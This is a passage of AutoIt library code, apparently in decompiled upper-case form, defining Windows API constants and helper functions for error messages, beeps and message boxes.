($SURL , $ITYPE = 0 ) LOCAL $ARET = DLLCALL ("shlwapi.dll" , "bool" , "UrlIsW" , "wstr" , $SURL , "uint" , $ITYPE ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARET [0 ] ENDFUNC #EndRegion Public Functions #Region Internal Functions FUNC __US ($SSTRING , $ILENGTH = 0 ) IF $ILENGTH THEN $SSTRING = STRINGLEFT ($SSTRING , $ILENGTH ) ELSE $ILENGTH = STRINGLEN ($SSTRING ) ENDIF LOCAL $TUS = DLLSTRUCTCREATE ("ushort;ushort;ptr;wchar[" & ($ILENGTH + 1 ) & "]" ) DLLSTRUCTSETDATA ($TUS , 1 , 2 * STRINGLEN ($SSTRING ) ) DLLSTRUCTSETDATA ($TUS , 2 , 2 * $ILENGTH ) DLLSTRUCTSETDATA ($TUS , 3 , DLLSTRUCTGETPTR ($TUS , 4 ) ) DLLSTRUCTSETDATA ($TUS , 4 , $SSTRING ) RETURN $TUS ENDFUNC #EndRegion Internal Functions GLOBAL CONST $KLF_ACTIVATE = 1 GLOBAL CONST $KLF_NOTELLSHELL = 128 GLOBAL CONST $KLF_REORDER = 8 GLOBAL CONST $KLF_REPLACELANG = 16 GLOBAL CONST $KLF_RESET = 1073741824 GLOBAL CONST $KLF_SETFORPROCESS = 256 GLOBAL CONST $KLF_SHIFTLOCK = 65536 GLOBAL CONST $KLF_SUBSTITUTE_OK = 2 GLOBAL CONST $HKL_NEXT = 1 GLOBAL CONST $HKL_PREV = 0 GLOBAL CONST $AW_ACTIVATE = 131072 GLOBAL CONST $AW_BLEND = 524288 GLOBAL CONST $AW_CENTER = 16 GLOBAL CONST $AW_HIDE = 65536 GLOBAL CONST $AW_HOR_NEGATIVE = 2 GLOBAL CONST $AW_HOR_POSITIVE = 1 GLOBAL CONST $AW_SLIDE = 262144 GLOBAL CONST $AW_VER_NEGATIVE = 8 GLOBAL CONST $AW_VER_POSITIVE = 4 GLOBAL CONST $BSF_ALLOWSFW = 128 GLOBAL CONST $BSF_FLUSHDISK = 4 GLOBAL CONST $BSF_FORCEIFHUNG = 32 GLOBAL CONST $BSF_IGNORECURRENTTASK = 2 GLOBAL CONST $BSF_NOHANG = 8 GLOBAL CONST $BSF_NOTIMEOUTIFNOTHUNG = 64 GLOBAL CONST $BSF_POSTMESSAGE = 16 GLOBAL CONST $BSF_QUERY = 1 GLOBAL CONST $BSF_SENDNOTIFYMESSAGE = 256 GLOBAL CONST $BSM_ALLCOMPONENTS = 0 GLOBAL CONST $BSM_ALLDESKTOPS = 8 GLOBAL CONST $BSM_APPLICATIONS = 16 GLOBAL CONST $BSM_INSTALLABLEDRIVERS = 4 GLOBAL CONST $BSM_NETDRIVER = 2 GLOBAL CONST $BSM_VXDS = 1 GLOBAL CONST $MDITILE_HORIZONTAL = 1 GLOBAL CONST $MDITILE_SKIPDISABLED = 2 GLOBAL CONST $MDITILE_VERTICAL = 0 GLOBAL CONST $MDITILE_ZORDER = 4 GLOBAL CONST $MSGFLT_ALLOW = 1 GLOBAL CONST $MSGFLT_DISALLOW = 2 GLOBAL CONST $MSGFLT_RESET = 0 GLOBAL CONST $MSGFLTINFO_ALLOWED_HIGHER = 3 GLOBAL CONST $MSGFLTINFO_ALREADYALLOWED_FORWND = 1 GLOBAL CONST $MSGFLTINFO_ALREADYDISALLOWED_FORWND = 2 GLOBAL CONST $MSGFLTINFO_NONE = 0 GLOBAL CONST $CWP_ALL = 0 GLOBAL CONST $CWP_SKIPINVISIBLE = 1 GLOBAL CONST $CWP_SKIPDISABLED = 2 GLOBAL CONST $CWP_SKIPTRANSPARENT = 4 GLOBAL CONST $COMPRESSION_FORMAT_NONE = 0 GLOBAL CONST $COMPRESSION_FORMAT_DEFAULT = 1 GLOBAL CONST $COMPRESSION_FORMAT_LZNT1 = 2 GLOBAL CONST $COMPRESSION_FORMAT_XPRESS = 3 GLOBAL CONST $COMPRESSION_FORMAT_XPRESS_HUFF = 4 GLOBAL CONST $COMPRESSION_ENGINE_STANDARD = 0 GLOBAL CONST $COMPRESSION_ENGINE_MAXIMUM = 256 GLOBAL CONST $COMPRESSION_ENGINE_HIBER = 512 GLOBAL CONST $WINSTA_ACCESSCLIPBOARD = 4 GLOBAL CONST $WINSTA_ACCESSGLOBALATOMS = 32 GLOBAL CONST $WINSTA_CREATEDESKTOP = 8 GLOBAL CONST $WINSTA_ENUMDESKTOPS = 1 GLOBAL CONST $WINSTA_ENUMERATE = 256 GLOBAL CONST $WINSTA_EXITWINDOWS = 64 GLOBAL CONST $WINSTA_READATTRIBUTES = 2 GLOBAL CONST $WINSTA_READSCREEN = 512 GLOBAL CONST $WINSTA_WRITEATTRIBUTES = 16 GLOBAL CONST $WINSTA_ALL_ACCESS = BITOR ($WINSTA_ACCESSCLIPBOARD , $WINSTA_ACCESSGLOBALATOMS , $WINSTA_CREATEDESKTOP , $WINSTA_ENUMDESKTOPS , $WINSTA_ENUMERATE , $WINSTA_EXITWINDOWS , $WINSTA_READATTRIBUTES , $WINSTA_READSCREEN , $WINSTA_WRITEATTRIBUTES ) GLOBAL CONST $CWF_CREATE_ONLY = 1 GLOBAL CONST $GCL_CBCLSEXTRA = + 4294967276 GLOBAL CONST $GCL_CBWNDEXTRA = + 4294967278 GLOBAL CONST $GCL_HBRBACKGROUND = + 4294967286 GLOBAL CONST $GCL_HCURSOR = + 4294967284 GLOBAL CONST $GCL_HICON = + 4294967282 GLOBAL CONST $GCL_HICONSM = + 4294967262 GLOBAL CONST $GCL_HMODULE = + 4294967280 GLOBAL CONST $GCL_MENUNAME = + 4294967288 GLOBAL CONST $GCL_STYLE = + 4294967270 GLOBAL CONST $GCL_WNDPROC = + 4294967272 GLOBAL CONST $DOCKINFO_DOCKED = 2 GLOBAL CONST $DOCKINFO_UNDOCKED = 1 GLOBAL CONST $DOCKINFO_USER_SUPPLIED = 4 GLOBAL CONST $DOCKINFO_USER_DOCKED = 5 GLOBAL CONST $DOCKINFO_USER_UNDOCKED = 6 GLOBAL CONST $GUI_CARETBLINKING = 1 GLOBAL CONST $GUI_INMENUMODE = 4 GLOBAL CONST $GUI_INMOVESIZE = 2 GLOBAL CONST $GUI_POPUPMENUMODE = 16 GLOBAL CONST $GUI_SYSTEMMENUMODE = 8 GLOBAL CONST $HANDLE_FLAG_INHERIT = 1 GLOBAL CONST $HANDLE_FLAG_PROTECT_FROM_CLOSE = 2 GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS = 4 GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_PIN = 1 GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_UNCHANGED_REFCOUNT = 2 GLOBAL CONST $GET_MODULE_HANDLE_EX_FLAG_DEFAULT = 0 GLOBAL CONST $PROCESSOR_ARCHITECTURE_AMD64 = 9 GLOBAL CONST $PROCESSOR_ARCHITECTURE_IA64 = 6 GLOBAL CONST $PROCESSOR_ARCHITECTURE_INTEL = 0 GLOBAL CONST $PROCESSOR_ARCHITECTURE_UNKNOWN = 65535 GLOBAL CONST $PROCESSOR_INTEL_386 = 386 GLOBAL CONST $PROCESSOR_INTEL_486 = 486 GLOBAL CONST $PROCESSOR_INTEL_PENTIUM = 586 GLOBAL CONST $PROCESSOR_INTEL_IA64 = 2200 GLOBAL CONST $PROCESSOR_AMD_X8664 = 8664 GLOBAL CONST $UOI_FLAGS = 1 GLOBAL CONST $UOI_HEAPSIZE = 5 GLOBAL CONST $UOI_IO = 6 GLOBAL CONST $UOI_NAME = 2 GLOBAL CONST $UOI_TYPE = 3 GLOBAL CONST $UOI_USER_SID = 4 GLOBAL CONST $DF_ALLOWOTHERACCOUNTHOOK = 1 GLOBAL CONST $WSF_VISIBLE = 1 GLOBAL CONST $VER_SUITE_BACKOFFICE = 4 GLOBAL CONST $VER_SUITE_BLADE = 1024 GLOBAL CONST $VER_SUITE_COMPUTE_SERVER = 16384 GLOBAL CONST $VER_SUITE_DATACENTER = 128 GLOBAL CONST $VER_SUITE_ENTERPRISE = 2 GLOBAL CONST $VER_SUITE_EMBEDDEDNT = 64 GLOBAL CONST $VER_SUITE_PERSONAL = 512 GLOBAL CONST $VER_SUITE_SINGLEUSERTS = 256 GLOBAL CONST $VER_SUITE_SMALLBUSINESS = 1 GLOBAL CONST $VER_SUITE_SMALLBUSINESS_RESTRICTED = 32 GLOBAL CONST $VER_SUITE_STORAGE_SERVER = 8192 GLOBAL CONST $VER_SUITE_TERMINAL = 16 GLOBAL CONST $VER_SUITE_WH_SERVER = 32768 GLOBAL CONST $VER_NT_DOMAIN_CONTROLLER = 2 GLOBAL CONST $VER_NT_SERVER = 3 GLOBAL CONST $VER_NT_WORKSTATION = 1 GLOBAL CONST $WDA_MONITOR = 1 GLOBAL CONST $WDA_NONE = 0 GLOBAL CONST $PF_3DNOW_INSTRUCTIONS_AVAILABLE = 7 GLOBAL CONST $PF_CHANNELS_ENABLED = 16 GLOBAL CONST $PF_COMPARE_EXCHANGE_DOUBLE = 2 GLOBAL CONST $PF_COMPARE_EXCHANGE128 = 14 GLOBAL CONST $PF_COMPARE64_EXCHANGE128 = 15 GLOBAL CONST $PF_FLOATING_POINT_EMULATED = 1 GLOBAL CONST $PF_FLOATING_POINT_PRECISION_ERRATA = 0 GLOBAL CONST $PF_MMX_INSTRUCTIONS_AVAILABLE = 3 GLOBAL CONST $PF_NX_ENABLED = 12 GLOBAL CONST $PF_PAE_ENABLED = 9 GLOBAL CONST $PF_RDTSC_INSTRUCTION_AVAILABLE = 8 GLOBAL CONST $PF_SSE3_INSTRUCTIONS_AVAILABLE = 13 GLOBAL CONST $PF_XMMI_INSTRUCTIONS_AVAILABLE = 6 GLOBAL CONST $PF_XMMI64_INSTRUCTIONS_AVAILABLE = 10 GLOBAL CONST $PF_XSAVE_ENABLED = 17 GLOBAL CONST $KEYEVENTF_EXTENDEDKEY = 1 GLOBAL CONST $KEYEVENTF_KEYUP = 2 GLOBAL CONST $LIM_SMALL = 0 GLOBAL CONST $LIM_LARGE = 1 GLOBAL CONST $MAPVK_VK_TO_CHAR = 2 GLOBAL CONST $MAPVK_VK_TO_VSC = 0 GLOBAL CONST $MAPVK_VK_TO_VSC_EX = 4 GLOBAL CONST $MAPVK_VSC_TO_VK = 1 GLOBAL CONST $MAPVK_VSC_TO_VK_EX = 3 GLOBAL CONST $MOD_ALT = 1 GLOBAL CONST $MOD_CONTROL = 2 GLOBAL CONST $MOD_NOREPEAT = 16384 GLOBAL CONST $MOD_SHIFT = 4 GLOBAL CONST $MOD_WIN = 8 GLOBAL CONST $GUID_ACDC_POWER_SOURCE = "{5D3E9A59-E9D5-4B00-A6BD-FF34FF516548}" GLOBAL CONST $GUID_BATTERY_PERCENTAGE_REMAINING = "{A7AD8041-B45A-4CAE-87A3-EECBB468A9E1}" GLOBAL CONST $GUID_IDLE_BACKGROUND_TASK = "{515C31D8-F734-163D-A0FD-11A08C91E8F1}" GLOBAL CONST $GUID_MONITOR_POWER_ON = "{02731015-4510-4526-99E6-E5A17EBD1AEA}" GLOBAL CONST $GUID_POWERSCHEME_PERSONALITY = "{245D8541-3943-4422-B025-13A784F679B7}" GLOBAL CONST $GUID_SYSTEM_AWAYMODE = "{98A7F580-01F7-48AA-9C0F-44352C29E5C0}" GLOBAL CONST $GUID_MIN_POWER_SAVINGS = "{8C5E7FDA-E8BF-4A96-9A85-A6E23A8C635C}" GLOBAL CONST $GUID_MAX_POWER_SAVINGS = "{A1841308-3541-4FAB-BC81-F71556F20B4A}" GLOBAL CONST $GUID_TYPICAL_POWER_SAVINGS = "{381B4222-F694-41F0-9685-FF5BB260DF2E}" GLOBAL CONST $HSHELL_WINDOWCREATED = 1 GLOBAL CONST $HSHELL_WINDOWDESTROYED = 2 GLOBAL CONST $HSHELL_ACTIVATESHELLWINDOW = 3 GLOBAL CONST $HSHELL_WINDOWACTIVATED = 4 GLOBAL CONST $HSHELL_GETMINRECT = 5 GLOBAL CONST $HSHELL_REDRAW = 6 GLOBAL CONST $HSHELL_TASKMAN = 7 GLOBAL CONST $HSHELL_LANGUAGE = 8 GLOBAL CONST $HSHELL_SYSMENU = 9 GLOBAL CONST $HSHELL_ENDTASK = 10 GLOBAL CONST $HSHELL_ACCESSIBILITYSTATE = 11 GLOBAL CONST $HSHELL_APPCOMMAND = 12 GLOBAL CONST $HSHELL_WINDOWREPLACED = 13 GLOBAL CONST $HSHELL_WINDOWREPLACING = 14 GLOBAL CONST $HSHELL_RUDEAPPACTIVATED = 32772 GLOBAL CONST $HSHELL_FLASH = 32774 GLOBAL CONST $HWND_BROADCAST = 65535 GLOBAL CONST $SMTO_BLOCK = 1 GLOBAL CONST $SMTO_NORMAL = 0 GLOBAL CONST $SMTO_ABORTIFHUNG = 2 GLOBAL CONST $SMTO_NOTIMEOUTIFNOTHUNG = 8 GLOBAL CONST $SMTO_ERRORONEXIT = 32 GLOBAL CONST $INPUTLANGCHANGE_BACKWARD = 4 GLOBAL CONST $INPUTLANGCHANGE_FORWARD = 2 GLOBAL CONST $INPUTLANGCHANGE_SYSCHARSET = 1 GLOBAL CONST $EVENT_MIN = 1 GLOBAL CONST $EVENT_SYSTEM_SOUND = 1 GLOBAL CONST $EVENT_SYSTEM_ALERT = 2 GLOBAL CONST $EVENT_SYSTEM_FOREGROUND = 3 GLOBAL CONST $EVENT_SYSTEM_MENUSTART = 4 GLOBAL CONST $EVENT_SYSTEM_MENUEND = 5 GLOBAL CONST $EVENT_SYSTEM_MENUPOPUPSTART = 6 GLOBAL CONST $EVENT_SYSTEM_MENUPOPUPEND = 7 GLOBAL CONST $EVENT_SYSTEM_CAPTURESTART = 8 GLOBAL CONST $EVENT_SYSTEM_CAPTUREEND = 9 GLOBAL CONST $EVENT_SYSTEM_MOVESIZESTART = 10 GLOBAL CONST $EVENT_SYSTEM_MOVESIZEEND = 11 GLOBAL CONST $EVENT_SYSTEM_CONTEXTHELPSTART = 12 GLOBAL CONST $EVENT_SYSTEM_CONTEXTHELPEND = 13 GLOBAL CONST $EVENT_SYSTEM_DRAGDROPSTART = 14 GLOBAL CONST $EVENT_SYSTEM_DRAGDROPEND = 15 GLOBAL CONST $EVENT_SYSTEM_DIALOGSTART = 16 GLOBAL CONST $EVENT_SYSTEM_DIALOGEND = 17 GLOBAL CONST $EVENT_SYSTEM_SCROLLINGSTART = 18 GLOBAL CONST $EVENT_SYSTEM_SCROLLINGEND = 19 GLOBAL CONST $EVENT_SYSTEM_SWITCHSTART = 20 GLOBAL CONST $EVENT_SYSTEM_SWITCHEND = 21 GLOBAL CONST $EVENT_SYSTEM_MINIMIZESTART = 22 GLOBAL CONST $EVENT_SYSTEM_MINIMIZEEND = 23 GLOBAL CONST $EVENT_SYSTEM_DESKTOPSWITCH = 32 GLOBAL CONST $EVENT_OBJECT_CREATE = 32768 GLOBAL CONST $EVENT_OBJECT_DESTROY = 32769 GLOBAL CONST $EVENT_OBJECT_SHOW = 32770 GLOBAL CONST $EVENT_OBJECT_HIDE = 32771 GLOBAL CONST $EVENT_OBJECT_REORDER = 32772 GLOBAL CONST $EVENT_OBJECT_FOCUS = 32773 GLOBAL CONST $EVENT_OBJECT_SELECTION = 32774 GLOBAL CONST $EVENT_OBJECT_SELECTIONADD = 32775 GLOBAL CONST $EVENT_OBJECT_SELECTIONREMOVE = 32776 GLOBAL CONST $EVENT_OBJECT_SELECTIONWITHIN = 32777 GLOBAL CONST $EVENT_OBJECT_STATECHANGE = 32778 GLOBAL CONST $EVENT_OBJECT_LOCATIONCHANGE = 32779 GLOBAL CONST $EVENT_OBJECT_NAMECHANGE = 32780 GLOBAL CONST $EVENT_OBJECT_DESCRIPTIONCHANGE = 32781 GLOBAL CONST $EVENT_OBJECT_VALUECHANGE = 32782 GLOBAL CONST $EVENT_OBJECT_PARENTCHANGE = 32783 GLOBAL CONST $EVENT_OBJECT_HELPCHANGE = 32784 GLOBAL CONST $EVENT_OBJECT_DEFACTIONCHANGE = 32785 GLOBAL CONST $EVENT_OBJECT_ACCELERATORCHANGE = 32786 GLOBAL CONST $EVENT_OBJECT_INVOKED = 32787 GLOBAL CONST $EVENT_OBJECT_TEXTSELECTIONCHANGED = 32788 GLOBAL CONST $EVENT_OBJECT_CONTENTSCROLLED = 32789 GLOBAL CONST $EVENT_MAX = 2147483647 GLOBAL CONST $WINEVENT_INCONTEXT = 4 GLOBAL CONST $WINEVENT_OUTOFCONTEXT = 0 GLOBAL CONST $WINEVENT_SKIPOWNPROCESS = 2 GLOBAL CONST $WINEVENT_SKIPOWNTHREAD = 1 GLOBAL CONST $TME_CANCEL = 2147483648 GLOBAL CONST $TME_HOVER = 1 GLOBAL CONST $TME_LEAVE = 2 GLOBAL CONST $TME_NONCLIENT = 16 GLOBAL CONST $TME_QUERY = 1073741824 GLOBAL CONST $DESKTOP_CREATEMENU = 4 GLOBAL CONST $DESKTOP_CREATEWINDOW = 2 GLOBAL CONST $DESKTOP_ENUMERATE = 64 GLOBAL CONST $DESKTOP_HOOKCONTROL = 8 GLOBAL CONST $DESKTOP_JOURNALPLAYBACK = 32 GLOBAL CONST $DESKTOP_JOURNALRECORD = 16 GLOBAL CONST $DESKTOP_READOBJECTS = 1 GLOBAL CONST $DESKTOP_SWITCHDESKTOP = 256 GLOBAL CONST $DESKTOP_WRITEOBJECTS = 128 GLOBAL CONST $DESKTOP_ALL_ACCESS = BITOR ($DESKTOP_CREATEMENU , $DESKTOP_CREATEWINDOW , $DESKTOP_ENUMERATE , $DESKTOP_HOOKCONTROL , $DESKTOP_JOURNALPLAYBACK , $DESKTOP_JOURNALRECORD , $DESKTOP_READOBJECTS , $DESKTOP_SWITCHDESKTOP , $DESKTOP_WRITEOBJECTS ) GLOBAL CONST $RIDEV_APPKEYS = 1024 GLOBAL CONST $RIDEV_CAPTUREMOUSE = 512 GLOBAL CONST $RIDEV_DEVNOTIFY = 8192 GLOBAL CONST $RIDEV_EXCLUDE = 16 GLOBAL CONST $RIDEV_EXINPUTSINK = 4096 GLOBAL CONST $RIDEV_INPUTSINK = 256 GLOBAL CONST $RIDEV_NOHOTKEYS = 512 GLOBAL CONST $RIDEV_NOLEGACY = 48 GLOBAL CONST $RIDEV_PAGEONLY = 32 GLOBAL CONST $RIDEV_REMOVE = 1 GLOBAL CONST $RID_HEADER = 268435461 GLOBAL CONST $RID_INPUT = 268435459 GLOBAL CONST $RIM_TYPEHID = 2 GLOBAL CONST $RIM_TYPEKEYBOARD = 1 GLOBAL CONST $RIM_TYPEMOUSE = 0 GLOBAL CONST $RIDI_DEVICENAME = 536870919 GLOBAL CONST $RIDI_DEVICEINFO = 536870923 GLOBAL CONST $RIDI_PREPARSEDDATA = 536870917 GLOBAL CONST $MOUSE_ATTRIBUTES_CHANGED = 4 GLOBAL CONST $MOUSE_MOVE_ABSOLUTE = 1 GLOBAL CONST $MOUSE_MOVE_RELATIVE = 0 GLOBAL CONST $MOUSE_VIRTUAL_DESKTOP = 2 GLOBAL CONST $RI_MOUSE_LEFT_BUTTON_DOWN = 1 GLOBAL CONST $RI_MOUSE_LEFT_BUTTON_UP = 2 GLOBAL CONST $RI_MOUSE_MIDDLE_BUTTON_DOWN = 16 GLOBAL CONST $RI_MOUSE_MIDDLE_BUTTON_UP = 32 GLOBAL CONST $RI_MOUSE_RIGHT_BUTTON_DOWN = 4 GLOBAL CONST $RI_MOUSE_RIGHT_BUTTON_UP = 8 GLOBAL CONST $RI_MOUSE_BUTTON_1_DOWN = $RI_MOUSE_LEFT_BUTTON_DOWN GLOBAL CONST $RI_MOUSE_BUTTON_1_UP = $RI_MOUSE_LEFT_BUTTON_UP GLOBAL CONST $RI_MOUSE_BUTTON_2_DOWN = $RI_MOUSE_RIGHT_BUTTON_DOWN GLOBAL CONST $RI_MOUSE_BUTTON_2_UP = $RI_MOUSE_RIGHT_BUTTON_UP GLOBAL CONST $RI_MOUSE_BUTTON_3_DOWN = $RI_MOUSE_MIDDLE_BUTTON_DOWN GLOBAL CONST $RI_MOUSE_BUTTON_3_UP = $RI_MOUSE_MIDDLE_BUTTON_UP GLOBAL CONST $RI_MOUSE_BUTTON_4_DOWN = 64 GLOBAL CONST $RI_MOUSE_BUTTON_4_UP = 128 GLOBAL CONST $RI_MOUSE_BUTTON_5_DOWN = 256 GLOBAL CONST $RI_MOUSE_BUTTON_5_UP = 512 GLOBAL CONST $RI_MOUSE_WHEEL = 1024 GLOBAL CONST $RI_KEY_BREAK = 1 GLOBAL CONST $RI_KEY_E0 = 2 GLOBAL CONST $RI_KEY_E1 = 4 GLOBAL CONST $RI_KEY_MAKE = 0 #Region Global Variables and Constants GLOBAL CONST $FORMAT_MESSAGE_ALLOCATE_BUFFER = 256 GLOBAL CONST $FORMAT_MESSAGE_IGNORE_INSERTS = 512 GLOBAL CONST $FORMAT_MESSAGE_FROM_STRING = 1024 GLOBAL CONST $FORMAT_MESSAGE_FROM_HMODULE = 2048 GLOBAL CONST $FORMAT_MESSAGE_FROM_SYSTEM = 4096 GLOBAL CONST $FORMAT_MESSAGE_ARGUMENT_ARRAY = 8192 #EndRegion Global Variables and Constants FUNC _WINAPI_BEEP ($IFREQ = 500 , $IDURATION = 1000 ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "Beep" , "dword" , $IFREQ , "dword" , $IDURATION ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_FORMATMESSAGE ($IFLAGS , $PSOURCE , $IMESSAGEID , $ILANGUAGEID , BYREF $PBUFFER , $ISIZE , $VARGUMENTS ) LOCAL $SBUFFERTYPE = "struct*" IF ISSTRING ($PBUFFER ) THEN $SBUFFERTYPE = "wstr" LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "FormatMessageW" , "dword" , $IFLAGS , "struct*" , $PSOURCE , "dword" , $IMESSAGEID , "dword" , $ILANGUAGEID , $SBUFFERTYPE , $PBUFFER , "dword" , $ISIZE , "ptr" , $VARGUMENTS ) IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , 0 ) IF $SBUFFERTYPE = "wstr" THEN $PBUFFER = $ARESULT [5 ] RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_GETERRORMESSAGE ($ICODE , $ILANGUAGE = 0 , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED ) LOCAL $ARET = DLLCALL ("kernel32.dll" , "dword" , "FormatMessageW" , "dword" , 4096 , "ptr" , 0 , "dword" , $ICODE , "dword" , $ILANGUAGE , "wstr" , "" , "dword" , 4096 , "ptr" , 0 ) IF @ERROR OR NOT $ARET [0 ] THEN RETURN SETERROR (@ERROR , @EXTENDED , "" ) RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , STRINGREGEXPREPLACE ($ARET [5 ] , "[" & @LF & "," & @CR & "]*\Z" , "" ) ) ENDFUNC FUNC _WINAPI_GETLASTERROR (CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED ) LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetLastError" ) RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , $ARESULT [0 ] ) ENDFUNC FUNC _WINAPI_GETLASTERRORMESSAGE (CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED ) LOCAL $ILASTERROR = _WINAPI_GETLASTERROR () LOCAL $TBUFFERPTR = DLLSTRUCTCREATE ("ptr" ) LOCAL $NCOUNT = _WINAPI_FORMATMESSAGE (BITOR ($FORMAT_MESSAGE_ALLOCATE_BUFFER , $FORMAT_MESSAGE_FROM_SYSTEM ) , 0 , $ILASTERROR , 0 , $TBUFFERPTR , 0 , 0 ) IF @ERROR THEN RETURN SETERROR (- @ERROR , @EXTENDED , "" ) LOCAL $STEXT = "" LOCAL $PBUFFER = DLLSTRUCTGETDATA ($TBUFFERPTR , 1 ) IF $PBUFFER THEN IF $NCOUNT > 0 THEN LOCAL $TBUFFER = DLLSTRUCTCREATE ("wchar[" & ($NCOUNT + 1 ) & "]" , $PBUFFER ) $STEXT = DLLSTRUCTGETDATA ($TBUFFER , 1 ) IF STRINGRIGHT ($STEXT , 2 ) = @CRLF THEN $STEXT = STRINGTRIMRIGHT ($STEXT , 2 ) ENDIF DLLCALL ("kernel32.dll" , "handle" , "LocalFree" , "handle" , $PBUFFER ) ENDIF RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , $STEXT ) ENDFUNC FUNC _WINAPI_MESSAGEBEEP ($ITYPE = 1 ) LOCAL $ISOUND SWITCH $ITYPE CASE 1 $ISOUND = 0 CASE 2 $ISOUND = 16 CASE 3 $ISOUND = 32 CASE 4 $ISOUND = 48 CASE 5 $ISOUND = 64 CASE ELSE $ISOUND = + 4294967295 ENDSWITCH LOCAL $ARESULT = DLLCALL ("user32.dll" , "bool" , "MessageBeep" , "uint" , $ISOUND ) IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE ) RETURN $ARESULT [0 ] ENDFUNC FUNC _WINAPI_MSGBOX ($IFLAGS , $STITLE , $STEXT ) BLOCKINPUT (0 ) MSGBOX ($IFLAGS , $STITLE , $STEXT & " " ) ENDFUNC FUNC _WINAPI_SETLASTERROR ($IERRORCODE , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED ) DLLCALL ("kernel32.dll" , "none" , "SetLastError" , "dword" , $IERRORCODE ) RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , NULL ) ENDFUNC FUNC _WINAPI_SHOWERROR ($STEXT , $BEXIT = TRUE ) BLOCKINPUT (0 ) MSGBOX ($MB_SYSTEMMODAL , "Error" , $STEXT & " " ) IF $BEXIT THEN EXIT ENDFUNC FUNC _WINAPI_SHOWLASTERROR ($STEXT = "" , $BABORT = FALSE , $ILANGUAGE = 0 , CONST $_ICURRENTERROR = @ERROR , CONST $_ICURRENTEXTENDED = @EXTENDED ) LOCAL $SERROR LOCAL $ILASTERROR = _WINAPI_GETLASTERROR () WHILE 1 $SERROR = _WINAPI_GETERRORMESSAGE ($ILASTERROR , $ILANGUAGE ) IF @ERROR AND $ILANGUAGE THEN $ILANGUAGE = 0 ELSE EXITLOOP ENDIF WEND IF STRINGSTRIPWS ($STEXT , $STR_STRIPLEADING + $STR_STRIPTRAILING ) THEN $STEXT &= @CRLF & @CRLF ELSE $STEXT = "" ENDIF _WINAPI_MSGBOX (BITOR (262144 , BITSHIFT (16 , + 4294967294 * (NOT $ILASTERROR ) ) ) , $ILASTERROR , $STEXT & $SERROR ) IF $ILASTERROR THEN _WINAPI_SETLASTERROR ($ILASTERROR ) IF $BABORT THEN EXIT $ILASTERROR ENDIF ENDIF RETURN SETERROR ($_ICURRENTERROR , $_ICURRENTEXTENDED , 1 ) ENDFUNC FUNC _WINAPI_SHOWMSG ($STEXT ) _WINAPI_MSGBOX ($MB_SYSTEMMODAL , "Information" , $STEXT ) ENDFUNC FUNC __COMERRORFORMATING (BYREF $OCOMERROR , $SPREFIX = @TAB ) LOCAL CONST $STR_STRIPTRAILING = 2 LOCAL $SERROR = "COM Error encountered in " & @SCRIPTNAME & " (" & $OCOMERROR.Scriptline & ") :" & @CRLF & $SPREFIX & "Number " & @TAB & "= 0x" & HEX ($OCOMERROR.Number , 8 ) & " (" & $OCOMERROR.Number & ")" & @CRLF & $SPREFIX & "WinDescription" & @TAB & "= " & STRINGSTRIPWS ($OCOMERROR.WinDescription , $STR_STRIPTRAILING ) & @CRLF & $SPREFIX & "Description " & @TAB & "= " & STRINGSTRIPWS ($OCOMERROR.Description , $STR_STRIPTRAILING ) & @CRLF & $SPREFIX & "Source " & @TAB & "= " & $OCOMERROR.Source & @CRLF & $SPREFIX & "HelpFile " & @TAB & "= " & $OCOMERROR.HelpFile & @CRLF & $SPREFIX & "HelpContext " & @TAB & "= " & $OCOMERROR.HelpContext & @CRLF & $SPREFIX & "LastDllError " & @TAB & "= " & $OCOMERROR.LastDllError & @CRLF & $SPREFIX & "Retcode " & @TAB & "= 0x" & HEX ($OCOMERROR.retcode ) RETURN $SERROR ENDFUNC #Region Global Variables and Constants GLOBAL CONST $DUPLICATE_CLOSE_SOURCE = 1 GLOBAL CONST $DUPLICATE_SAME_ACCESS = 2 GLOBAL CONST $OBJ_BITMAP = 7 GLOBAL CONST $OBJ_BRUSH = 2 GLOBAL CONST $OBJ_COLORSPACE = 14 GLOBAL CONST $OBJ_DC = 3 GLOBAL CONST $OBJ_ENHMETADC = 12 GLOBAL CONST $OBJ_ENHMETAFILE = 13 GLOBAL CONST $OBJ_EXTPEN = 11 GLOBAL CONST $OBJ_FONT = 6 GLOBAL CONST $OBJ_MEMDC = 10 GLOBAL CONST $OBJ_METADC = 4 GLOBAL CONST $OBJ_METAFILE = 9 GLOBAL CONST $OBJ_PAL = 5 GLOBAL CONST $OBJ_PEN = 1 GLOBAL CONST $OBJ_REGION = 8 GLOBAL CONST $NULL_BRUSH = 5 GLOBAL CONST $NULL_PEN = 8 GLOBAL CONST $BLACK_BRUSH = 4 GLOBAL CONST $DKGRAY_BRUSH = 3 GLOBAL CONST $DC_BRUSH = 18 GLOBAL CONST $GRAY_BRUSH = 2 GLOBAL CONST $HOLLOW_BRUSH = $NULL_BRUSH GLOBAL CONST $LTGRAY_BRUSH = 1 GLOBAL CONST $WHITE_BRUSH = 0 GLOBAL CONST $BLACK_PEN = 7 GLOBAL CONST $DC_PEN = 19 GLOBAL CONST $WHITE_PEN = 6 GLOBAL CONST 